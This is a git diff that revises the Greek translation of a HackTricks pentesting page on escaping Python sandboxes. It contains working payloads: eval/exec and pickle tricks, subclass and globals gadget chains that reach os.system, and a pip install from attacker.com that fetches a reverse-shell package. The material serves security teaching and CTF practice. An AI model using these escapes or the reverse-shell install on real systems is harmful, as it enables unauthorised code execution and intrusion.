mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/django.m
This commit is contained in:
parent
63c9af33b6
commit
41f8281971
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Αυτά είναι μερικά κόλπα για να bypass την προστασία sandbox του python και να εκτελέσετε αυθαίρετες εντολές.
|
||||
Αυτά είναι μερικά κόλπα για να παρακάμψετε τους μηχανισμούς προστασίας των python sandbox και να εκτελέσετε αυθαίρετες εντολές.
|
||||
|
||||
## Βιβλιοθήκες Εκτέλεσης Εντολών
|
||||
|
||||
Το πρώτο πράγμα που πρέπει να ξέρετε είναι αν μπορείτε να εκτελέσετε απευθείας κώδικα με κάποια ήδη εισαγμένη βιβλιοθήκη, ή αν μπορείτε να εισάγετε οποιαδήποτε από αυτές τις βιβλιοθήκες:
|
||||
Το πρώτο που πρέπει να γνωρίζετε είναι αν μπορείτε να εκτελέσετε απευθείας κώδικα με κάποια ήδη εισαγμένη βιβλιοθήκη, ή αν μπορείτε να εισάγετε οποιαδήποτε από αυτές τις βιβλιοθήκες:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
@ -39,21 +39,21 @@ open('/var/www/html/input', 'w').write('123')
|
||||
execfile('/usr/lib/python2.7/os.py')
|
||||
system('ls')
|
||||
```
|
||||
Θυμηθείτε ότι οι _**open**_ και _**read**_ συναρτήσεις μπορούν να είναι χρήσιμες για να διαβάσετε αρχεία μέσα στο python sandbox και να γράψετε κάποιον κώδικα που θα μπορούσατε να εκτελέσετε για να bypass το sandbox.
|
||||
Θυμηθείτε ότι οι _**open**_ και _**read**_ συναρτήσεις μπορούν να είναι χρήσιμες για να **διαβάσετε αρχεία** μέσα στο python sandbox και για να **γράψετε κάποιον κώδικα** που θα μπορούσατε να **εκτελέσετε** για να **bypass** το sandbox.
|
||||
|
||||
> [!CAUTION] > Η **Python2 input()** function επιτρέπει την εκτέλεση python code πριν το πρόγραμμα καταρρεύσει.
|
||||
> [!CAUTION] > Η συνάρτηση **Python2 input()** επιτρέπει την εκτέλεση python κώδικα πριν το πρόγραμμα καταρρεύσει.
|
||||
|
||||
Η Python προσπαθεί να **load libraries from the current directory first** (η ακόλουθη εντολή θα εκτυπώσει από πού φορτώνει modules η python): `python3 -c 'import sys; print(sys.path)'`
|
||||
Η python προσπαθεί να **φορτώνει βιβλιοθήκες πρώτα από τον τρέχοντα κατάλογο** (η ακόλουθη εντολή θα εκτυπώσει από πού η python φορτώνει modules): `python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
.png>)
|
||||
|
||||
## Bypass pickle sandbox with the default installed python packages
|
||||
## Bypass pickle sandbox με τα προεγκατεστημένα python πακέτα
|
||||
|
||||
### Προεγκατεστημένα packages
|
||||
### Default packages
|
||||
|
||||
Μπορείτε να βρείτε μια **λίστα με προεγκατεστημένα** packages εδώ: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Σημειώστε ότι από ένα pickle μπορείτε να κάνετε το python env **import arbitrary libraries** εγκατεστημένες στο σύστημα.\
|
||||
Για παράδειγμα, το ακόλουθο pickle, όταν φορτωθεί, πρόκειται να εισάγει τη βιβλιοθήκη pip για να τη χρησιμοποιήσει:
|
||||
Μπορείτε να βρείτε μια **λίστα με προεγκατεστημένα** πακέτα εδώ: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Σημειώστε ότι από ένα pickle μπορείτε να κάνετε το python env να **import arbitrary libraries** εγκατεστημένες στο σύστημα.\
|
||||
Για παράδειγμα, το ακόλουθο pickle, όταν φορτωθεί, θα εισάγει τη βιβλιοθήκη pip για να τη χρησιμοποιήσει:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
#however, the victim doesn't even need to have the library installed to execute it
|
||||
@ -66,32 +66,32 @@ return (pip.main,(["list"],))
|
||||
|
||||
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||
```
|
||||
Για περισσότερες πληροφορίες σχετικά με τον τρόπο που λειτουργεί pickle δείτε αυτό: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
Για περισσότερες πληροφορίες σχετικά με το πώς λειτουργεί το pickle δείτε αυτό: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
|
||||
### Πακέτο Pip
|
||||
### Pip package
|
||||
|
||||
Κόλπο από **@isHaacK**
|
||||
Κόλπο που μοιράστηκε από **@isHaacK**
|
||||
|
||||
Αν έχετε πρόσβαση σε `pip` ή `pip.main()` μπορείτε να εγκαταστήσετε ένα αυθαίρετο πακέτο και να αποκτήσετε reverse shell καλώντας:
|
||||
Αν έχετε πρόσβαση σε `pip` ή `pip.main()` μπορείτε να εγκαταστήσετε οποιοδήποτε πακέτο και να αποκτήσετε ένα reverse shell καλώντας:
|
||||
```bash
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
Μπορείτε να κατεβάσετε το πακέτο για να δημιουργήσετε το reverse shell εδώ. Παρακαλώ σημειώστε ότι πριν το χρησιμοποιήσετε πρέπει να **αποσυμπιέσετε το, να αλλάξετε το `setup.py`, και να βάλετε την IP σας για το reverse shell**:
|
||||
Μπορείτε να κατεβάσετε το πακέτο για να δημιουργήσετε το reverse shell εδώ. Παρακαλώ, σημειώστε ότι πριν το χρησιμοποιήσετε πρέπει να **αποσυμπιέσετε το αρχείο, να αλλάξετε το `setup.py`, και να βάλετε την IP σας για το reverse shell**:
|
||||
|
||||
{{#file}}
|
||||
Reverse.tar (1).gz
|
||||
{{#endfile}}
|
||||
|
||||
> [!TIP]
|
||||
> Αυτό το πακέτο ονομάζεται `Reverse`. Ωστόσο, έχει φτιαχτεί ειδικά ώστε όταν βγείτε από το reverse shell η υπόλοιπη εγκατάσταση να αποτύχει, οπότε **δεν θα αφήσετε κανένα επιπλέον python package εγκατεστημένο στον server** όταν φύγετε.
|
||||
> Αυτό το πακέτο ονομάζεται `Reverse`. Ωστόσο, έχει κατασκευαστεί ειδικά έτσι ώστε όταν τερματίσετε το reverse shell η υπόλοιπη εγκατάσταση να αποτύχει, οπότε **δεν θα αφήσετε κανένα επιπλέον python package εγκατεστημένο στον server** όταν φύγετε.
|
||||
|
||||
## Eval-ing python code
|
||||
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι exec επιτρέπει multiline strings και ";", αλλά eval όχι (ελέγξτε walrus operator)
|
||||
> Σημειώστε ότι το exec επιτρέπει multiline strings και ";", αλλά το eval δεν το κάνει (ελέγξτε walrus operator)
|
||||
|
||||
Εάν κάποιοι χαρακτήρες απαγορεύονται μπορείτε να χρησιμοποιήσετε την **hex/octal/B64** αναπαράσταση για να **bypass** τον περιορισμό:
|
||||
Εάν ορισμένοι χαρακτήρες απαγορεύονται μπορείτε να χρησιμοποιήσετε την **hex/octal/B64** αναπαράσταση για να **bypass** τον περιορισμό:
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
@ -126,9 +126,9 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
|
||||
# Like:
|
||||
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
||||
```
|
||||
Δείτε επίσης μια πραγματική διαφυγή από sandboxed evaluator σε PDF generators:
|
||||
Δείτε επίσης ένα πραγματικό sandboxed evaluator escape σε PDF generators:
|
||||
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Εκμεταλλεύεται το rl_safe_eval για να φτάσει το function.__globals__ και το os.system από evaluated attributes (για παράδειγμα, font color) και επιστρέφει μια έγκυρη τιμή ώστε η απόδοση να παραμείνει σωστή.
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Εκμεταλλεύεται το rl_safe_eval για να φτάσει σε function.__globals__ και os.system από αξιολογημένα attributes (για παράδειγμα, font color) και επιστρέφει μια έγκυρη τιμή για να διατηρήσει σταθερό το rendering.
|
||||
|
||||
{{#ref}}
|
||||
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
@ -145,7 +145,7 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
```
|
||||
## Παράκαμψη προστασιών μέσω κωδικοποιήσεων (UTF-7)
|
||||
|
||||
Στο [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 χρησιμοποιείται για να φορτώσει και να εκτελέσει αυθαίρετο python κώδικα μέσα σε ένα εμφανές sandbox:
|
||||
Στο [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 χρησιμοποιείται για να φορτώσει και να εκτελέσει αυθαίρετο python code μέσα σε ένα εμφανές sandbox:
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
@ -156,11 +156,11 @@ return x
|
||||
#+AAo-print(open("/flag.txt").read())
|
||||
""".lstrip()
|
||||
```
|
||||
Επιπλέον είναι δυνατόν να το παρακάμψετε χρησιμοποιώντας άλλες κωδικοποιήσεις, π.χ. `raw_unicode_escape` και `unicode_escape`.
|
||||
Είναι επίσης δυνατό να το παρακάμψετε χρησιμοποιώντας άλλες κωδικοποιήσεις, π.χ. `raw_unicode_escape` και `unicode_escape`.
|
||||
|
||||
## Python εκτέλεση χωρίς κλήσεις
|
||||
## Εκτέλεση Python χωρίς calls
|
||||
|
||||
Αν βρίσκεστε μέσα σε ένα python jail που **δεν σας επιτρέπει να κάνετε κλήσεις**, υπάρχουν ακόμα τρόποι να **εκτελέσετε αυθαίρετες συναρτήσεις, κώδικα** και **εντολές**.
|
||||
Εάν βρίσκεστε μέσα σε ένα python jail που **doesn't allow you to make calls**, υπάρχουν ακόμα μερικοί τρόποι για να **execute arbitrary functions, code** και **commands**.
|
||||
|
||||
### RCE με [decorators](https://docs.python.org/3/glossary.html#term-decorator)
|
||||
```python
|
||||
@ -186,11 +186,11 @@ class _:pass
|
||||
```
|
||||
### RCE creating objects and overloading
|
||||
|
||||
Αν μπορείτε να **declare a class** και να **create an object** αυτής της class, μπορείτε να **write/overwrite different methods** που μπορούν να **triggered** χωρίς να χρειάζεται να τα καλέσετε απευθείας.
|
||||
Αν μπορείτε να **declare a class** και να **create an object** αυτής της κλάσης, μπορείτε να **write/overwrite different methods** που μπορούν να **triggered** χωρίς να χρειάζεται να τις καλέσετε απευθείας.
|
||||
|
||||
#### RCE με custom classes
|
||||
|
||||
Μπορείτε να τροποποιήσετε μερικά **class methods** (_by overwriting existing class methods or creating a new class_) ώστε να τα κάνετε να **execute arbitrary code** όταν **triggered** χωρίς να τα καλέσετε απευθείας.
|
||||
Μπορείτε να τροποποιήσετε μερικά **class methods** (_by overwriting existing class methods or creating a new class_) ώστε να τα αναγκάσετε να **execute arbitrary code** όταν **triggered** χωρίς να τα καλέσετε απευθείας.
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
@ -242,7 +242,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
|
||||
```
|
||||
#### Δημιουργία αντικειμένων με [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
|
||||
Το κύριο που μας επιτρέπουν τα metaclasses είναι να **δημιουργήσουμε ένα αντικείμενο από μια κλάση, χωρίς να καλούμε απευθείας τον constructor**, δημιουργώντας μια νέα κλάση με την target class ως metaclass.
|
||||
Το βασικό που μας επιτρέπουν οι metaclasses είναι **να δημιουργήσουμε ένα αντικείμενο μιας κλάσης, χωρίς να καλούμε απευθείας τον κατασκευαστή**, δημιουργώντας μια νέα κλάση με την στοχευόμενη κλάση ως metaclass.
|
||||
```python
|
||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||
# This will define the members of the "subclass"
|
||||
@ -259,7 +259,7 @@ Sub['import os; os.system("sh")']
|
||||
```
|
||||
#### Δημιουργία αντικειμένων με exceptions
|
||||
|
||||
Όταν μια **exception ενεργοποιείται**, ένα αντικείμενο της **Exception** **δημιουργείται** χωρίς να χρειάζεται να καλέσετε τον constructor απευθείας (ένα trick από [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
Όταν μια **exception ενεργοποιείται**, ένα αντικείμενο της **Exception** **δημιουργείται** χωρίς να χρειάζεται να καλέσετε απευθείας τον constructor (ένα κόλπο από [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
@ -301,7 +301,7 @@ __iadd__ = eval
|
||||
__builtins__.__import__ = X
|
||||
{}[1337]
|
||||
```
|
||||
### Ανάγνωση αρχείου με builtins help & license
|
||||
### Διαβάστε αρχείο με builtins help & license
|
||||
```python
|
||||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
||||
a = __builtins__.help
|
||||
@ -315,17 +315,17 @@ pass
|
||||
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
|
||||
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
Εάν μπορείτε να έχετε πρόσβαση στο αντικείμενο **`__builtins__`** μπορείτε να εισάγετε βιβλιοθήκες (σημειώστε ότι μπορείτε επίσης να χρησιμοποιήσετε εδώ άλλες αναπαραστάσεις συμβολοσειράς που εμφανίζονται στην τελευταία ενότητα):
|
||||
Εάν μπορείτε να αποκτήσετε πρόσβαση στο αντικείμενο **`__builtins__`** μπορείτε να εισάγετε βιβλιοθήκες (σημειώστε ότι μπορείτε επίσης να χρησιμοποιήσετε εδώ άλλη αναπαράσταση συμβολοσειράς που εμφανίζεται στην τελευταία ενότητα):
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
```
|
||||
### No Builtins
|
||||
### Χωρίς Builtins
|
||||
|
||||
Όταν δεν έχεις `__builtins__` δεν θα μπορείς να εισάγεις τίποτα ούτε καν να διαβάσεις ή να γράψεις αρχεία καθώς **όλες οι global συναρτήσεις** (όπως `open`, `import`, `print`...) **δεν έχουν φορτωθεί**.\
|
||||
Ωστόσο, **από προεπιλογή η python εισάγει πολλά modules στη μνήμη**. Αυτά τα modules μπορεί να φαίνονται αθώα, αλλά κάποια από αυτά **επίσης εισάγουν επικίνδυνες** λειτουργίες στο εσωτερικό τους που μπορούν να προσπελαστούν για να επιτευχθεί ακόμη και **arbitrary code execution**.
|
||||
Όταν δεν έχετε το `__builtins__` δεν θα μπορείτε να κάνετε import τίποτα ούτε καν να διαβάσετε ή να γράψετε αρχεία καθώς **όλες οι παγκόσμιες συναρτήσεις** (όπως `open`, `import`, `print`...) **δεν είναι φορτωμένες**.\
|
||||
Ωστόσο, **εξ ορισμού το python φορτώνει πολλά modules στη μνήμη**. Αυτά τα modules μπορεί να φαίνονται αβλαβή, αλλά κάποια από αυτά **περιέχουν επίσης επικίνδυνες** λειτουργικότητες μέσα τους στις οποίες μπορεί να αποκτηθεί πρόσβαση για να επιτευχθεί ακόμη και **arbitrary code execution**.
|
||||
|
||||
Στα ακόλουθα παραδείγματα μπορείτε να δείτε πώς να **κακοχρησιμοποιήσετε** κάποια από αυτά τα «**αθώα**» modules που έχουν φορτωθεί, για να **προσπελάσετε** **επικίνδυνες** **λειτουργικότητες** μέσα σε αυτά.
|
||||
Στα ακόλουθα παραδείγματα μπορείτε να δείτε πώς να **καταχραστείτε** κάποια από αυτά τα «αβλαβή» modules που έχουν φορτωθεί, για να αποκτήσετε πρόσβαση σε **επικίνδυνες** **λειτουργικότητες** μέσα τους.
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
@ -367,7 +367,7 @@ get_flag.__globals__['__builtins__']
|
||||
# Get builtins from loaded classes
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||
```
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) για να βρείτε δεκάδες/**εκατοντάδες** **τόπους** όπου μπορείτε να βρείτε τα **builtins**.
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) για να βρείτε δεκάδες/**εκατοντάδες** **τοποθεσίες** όπου μπορείτε να βρείτε τα **builtins**.
|
||||
|
||||
#### Python2 and Python3
|
||||
```python
|
||||
@ -385,7 +385,7 @@ __builtins__["__import__"]("os").system("ls")
|
||||
```
|
||||
## Globals and locals
|
||||
|
||||
Ο έλεγχος των **`globals`** και **`locals`** είναι ένας καλός τρόπος για να μάθετε τι μπορείτε να προσπελάσετε.
|
||||
Ο έλεγχος των **`globals`** και **`locals`** είναι ένας καλός τρόπος για να γνωρίζετε τι μπορείτε να προσπελάσετε.
|
||||
```python
|
||||
>>> globals()
|
||||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||||
@ -409,15 +409,15 @@ class_obj.__init__.__globals__
|
||||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **globals**.
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) για να βρείτε δεκάδες/**εκατοντάδες** από **τόπους** όπου μπορείτε να βρείτε τα **globals**.
|
||||
|
||||
## Discover Arbitrary Execution
|
||||
## Ανακάλυψη Αυθαίρετης Εκτέλεσης
|
||||
|
||||
Εδώ θέλω να εξηγήσω πώς να ανακαλύψετε εύκολα **περισσότερες επικίνδυνες λειτουργίες που έχουν φορτωθεί** και να προτείνω πιο αξιόπιστα exploits.
|
||||
|
||||
#### Accessing subclasses with bypasses
|
||||
#### Πρόσβαση σε subclasses με bypasses
|
||||
|
||||
Ένα από τα πιο ευαίσθητα μέρη αυτής της τεχνικής είναι η δυνατότητα να **access the base subclasses**. Στα προηγούμενα παραδείγματα αυτό έγινε χρησιμοποιώντας `''.__class__.__base__.__subclasses__()` αλλά υπάρχουν **άλλοι πιθανοί τρόποι**:
|
||||
Ένα από τα πιο ευαίσθητα σημεία αυτής της τεχνικής είναι η δυνατότητα **πρόσβασης στα base subclasses**. Στα προηγούμενα παραδείγματα αυτό έγινε με `''.__class__.__base__.__subclasses__()` αλλά υπάρχουν **άλλοι πιθανοί τρόποι**:
|
||||
```python
|
||||
#You can access the base from mostly anywhere (in regular conditions)
|
||||
"".__class__.__base__.__subclasses__()
|
||||
@ -445,7 +445,7 @@ defined_func.__class__.__base__.__subclasses__()
|
||||
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
|
||||
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
|
||||
```
|
||||
### Εύρεση επικίνδυνων libraries που έχουν φορτωθεί
|
||||
### Εύρεση επικίνδυνων βιβλιοθηκών που έχουν φορτωθεί
|
||||
|
||||
Για παράδειγμα, γνωρίζοντας ότι με τη βιβλιοθήκη **`sys`** είναι δυνατό να **import arbitrary libraries**, μπορείτε να αναζητήσετε όλα τα **modules loaded that have imported sys inside of them**:
|
||||
```python
|
||||
@ -456,7 +456,7 @@ defined_func.__class__.__base__.__subclasses__()
|
||||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
Μπορούμε να κάνουμε το ίδιο με **άλλες βιβλιοθήκες** που γνωρίζουμε ότι μπορούν να χρησιμοποιηθούν για **execute commands**:
|
||||
Μπορούμε να κάνουμε το ίδιο με **άλλες βιβλιοθήκες** που γνωρίζουμε ότι μπορούν να χρησιμοποιηθούν για να **εκτελέσουν εντολές**:
|
||||
```python
|
||||
#os
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||||
@ -491,7 +491,7 @@ defined_func.__class__.__base__.__subclasses__()
|
||||
#pdb
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
||||
```
|
||||
Επιπλέον, μπορούμε ακόμη και να αναζητήσουμε ποια modules φορτώνουν κακόβουλες libraries:
|
||||
Επιπλέον, μπορούμε ακόμη να αναζητήσουμε ποια modules φορτώνουν malicious libraries:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
for b in bad_libraries_names:
|
||||
@ -510,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
||||
pdb:
|
||||
"""
|
||||
```
|
||||
Επιπλέον, αν νομίζετε ότι **άλλες βιβλιοθήκες** μπορεί να είναι σε θέση να **επικαλούνται συναρτήσεις για να εκτελέσουν εντολές**, μπορούμε επίσης να **φιλτράρουμε με βάση τα ονόματα των συναρτήσεων** μέσα στις πιθανές βιβλιοθήκες:
|
||||
Επιπλέον, αν πιστεύετε ότι οι **άλλες βιβλιοθήκες** ίσως μπορούν να **καλέσουν συναρτήσεις για να εκτελέσουν εντολές**, μπορούμε επίσης να **φιλτράρουμε κατά ονόματα συναρτήσεων** μέσα στις πιθανές βιβλιοθήκες:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||
@ -546,7 +546,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
|
||||
## Αναδρομική Αναζήτηση των Builtins, Globals...
|
||||
|
||||
> [!WARNING]
|
||||
> Αυτό είναι απλώς **καταπληκτικό**. Αν **ψάχνετε για ένα αντικείμενο όπως globals, builtins, open ή οτιδήποτε άλλο,** απλά χρησιμοποιήστε αυτό το script για να **εντοπίσετε αναδρομικά μέρη όπου μπορείτε να βρείτε αυτό το αντικείμενο.**
|
||||
> Αυτό είναι απλά **καταπληκτικό**. Εάν ψάχνετε για ένα αντικείμενο όπως **globals, builtins, open ή οτιδήποτε άλλο** απλώς χρησιμοποιήστε αυτό το script για να **αναδρομικά βρείτε σημεία όπου μπορείτε να βρείτε αυτό το αντικείμενο.**
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
||||
@ -671,7 +671,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-
|
||||
|
||||
## Python Format String
|
||||
|
||||
Αν **στείλετε** ένα **string** στο python που πρόκειται να **μορφοποιηθεί**, μπορείτε να χρησιμοποιήσετε `{}` για να αποκτήσετε πρόσβαση σε **εσωτερικές πληροφορίες του python.** Μπορείτε να χρησιμοποιήσετε τα προηγούμενα παραδείγματα για να αποκτήσετε πρόσβαση σε globals ή builtins, για παράδειγμα.
|
||||
Αν **στείλετε** μια **string** στο python που πρόκειται να **μορφοποιηθεί**, μπορείτε να χρησιμοποιήσετε `{}` για να αποκτήσετε πρόσβαση σε **python internal information.** Μπορείτε να χρησιμοποιήσετε τα προηγούμενα παραδείγματα για να αποκτήσετε πρόσβαση σε globals ή builtins, για παράδειγμα.
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
CONFIG = {
|
||||
@ -691,11 +691,11 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Σημειώστε πώς μπορείτε να **προσπελάσετε χαρακτηριστικά** με τον κανονικό τρόπο με μια **τελεία** όπως `people_obj.__init__` και **στοιχείο dict** με **αγκύλες** χωρίς εισαγωγικά `__globals__[CONFIG]`
|
||||
Σημειώστε πώς μπορείτε να **προσπελάσετε ιδιότητες** με τον κανονικό τρόπο με μια **τελεία** όπως `people_obj.__init__` και στοιχείο **dict** με **αγκύλες** χωρίς εισαγωγικά `__globals__[CONFIG]`
|
||||
|
||||
Επίσης, σημειώστε ότι μπορείτε να χρησιμοποιήσετε `.__dict__` για να απαριθμήσετε στοιχεία ενός αντικειμένου `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
Επίσης σημειώστε ότι μπορείτε να χρησιμοποιήσετε `.__dict__` για να απαριθμήσετε στοιχεία ενός αντικειμένου `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
Μερικά άλλα ενδιαφέροντα χαρακτηριστικά των format strings είναι η δυνατότητα εκτέλεσης των συναρτήσεων `str`, `repr` και `ascii` στο υποδεικνυόμενο αντικείμενο προσθέτοντας αντίστοιχα `!s`, `!r`, `!a`:
|
||||
Κάποια άλλα ενδιαφέροντα χαρακτηριστικά των format strings είναι η δυνατότητα **εκτέλεσης** των **συναρτήσεων** **`str`**, **`repr`** και **`ascii`** στο συγκεκριμένο αντικείμενο προσθέτοντας **`!s`**, **`!r`**, **`!a`** αντίστοιχα:
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
@ -711,17 +711,17 @@ return 'HAL 9000'
|
||||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||||
#I'm afraid I can't do that.
|
||||
```
|
||||
**Περισσότερα παραδείγματα** σχετικά με **format** **string** μπορείτε να βρείτε στο [**https://pyformat.info/**](https://pyformat.info)
|
||||
**Περισσότερα παραδείγματα** για **format** **string** μπορείτε να βρείτε στο [**https://pyformat.info/**](https://pyformat.info)
|
||||
|
||||
> [!CAUTION]
|
||||
